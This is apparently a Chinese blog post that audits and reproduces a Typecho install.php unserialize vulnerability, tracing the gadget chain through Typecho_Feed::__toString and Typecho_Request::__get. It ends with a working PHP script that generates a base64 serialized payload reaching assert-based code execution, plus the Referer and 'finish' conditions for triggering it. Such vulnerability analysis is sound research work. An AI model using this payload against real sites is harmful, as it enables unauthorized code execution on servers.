兩三年前出的漏洞了,這里來進行一波審計和復現一波
環境搭建
首先你需要為typecho創建一個數據庫,不然后面會安裝失敗,這個雖然是前台Getshell,但是install.php里面驗證了是否存在數據庫配置文件,所以要觸發這個漏洞必須要先安裝


之后就可以觸發了
審計過程
漏洞大約在install.php的229行左右

很顯然的一處反序列化,我們跟進get方法看看

可以看到沒有對Cookie或者是POST過來的數據進行過濾,就是簡單的判斷是從POST取出數據還是Cookie中取出數據,也就是說上面我們反序列化得到的$config
是可控的

接下來實例化一個類,將我們的config數組的兩個元素放進去


其中獲取數據庫適配器使用了字符串連接的方法,連接的對象就是我們我們的$config["adapter"]
,假設這個$config["adapter"]
是一個類的話就會觸發__toString
方法,那么上哪里面找有__toString的類呢

我用自帶的全局搜索找到了兩個,Feed.php,Query.php
跟進Feed.php查看他的__toString方法
在大約290行左右有這樣一行代碼

$item其實就這個類的一個私有變量


這里面調用了screenNmae參數,假設這個$item["author"]是個類,並且調用了不存在的screenName變量的時候就會觸發__get()魔術方法,我們同樣用全局搜索來定位這樣的類

跟進Request.php

再跟進get方法

這里面獲取$this->_params['screenName']的值並調用_applyFilter方法。
跟進看看

使用call_user_func函數來對\(value進行操作,首先\)this->_params['screenName']可控的,我們實例化的時候初始化就行,接下來看調用的函數是否可控(也就是$filter是否可控)

是可控的,那么我們就可以構造任意代碼執行或者命令執行的payload
還有要注意一點,因為漏洞是在install.php觸發的,所以我們需要在前面看一下允許執行的條件

需要get一個finish,還有偽造一個Referer就行了
思路整理
首先在install.php
反序列化一個數組,數組的adapter
元素為Feed.php
里面的Typecho_Feed類,在Typecho_Db類初始化的階段會觸發Typecho_Feed的__toString方法,將Typecho_Feed類中的私有成員_items
數組的author元素賦值為Request.php
里面的Typecho_Request類,這樣在__toString中就會觸發Typecho_Reques類的__get方法,在將Typecho_Reques類中的私有成員$_params $_filter
賦值就可以達到任意代碼執行的目的
總結: 反序列化感覺就是無限套娃的樣子
payload利用
<?php
class Typecho_Feed{
/** 定義RSS 1.0類型 */
const RSS1 = 'RSS 1.0';
/** 定義RSS 2.0類型 */
const RSS2 = 'RSS 2.0';
/** 定義ATOM 1.0類型 */
const ATOM1 = 'ATOM 1.0';
/** 定義RSS時間格式 */
const DATE_RFC822 = 'r';
/** 定義ATOM時間格式 */
const DATE_W3CDTF = 'c';
/** 定義行結束符 */
const EOL = "\n";
private $_type;
private $_charset;private $_items = array();
public function __construct($value='')
{
$this->_type = self::RSS2;
$item['link'] = '1';
$item['title'] = '2';
$item['date'] = 1507720298;
$item['author'] = new Typecho_Request();
$item['category'] = array(new Typecho_Request());
$this->_items[0] = $item;
}
}
/**
*
*///screenName $value = $this->_params[screenName] 調用函數 $this->_filter($value)
class Typecho_Request
{
private $_params = array();
private $_filter = array();
function __construct()
{
$this->_params["screenName"]="phpinfo()";
$this->_filter[0]="assert";
}
}
$a = array(
"adapter" => new Typecho_Feed(),
"prefix" => "QAQ"
);
echo base64_encode(serialize($a));
?>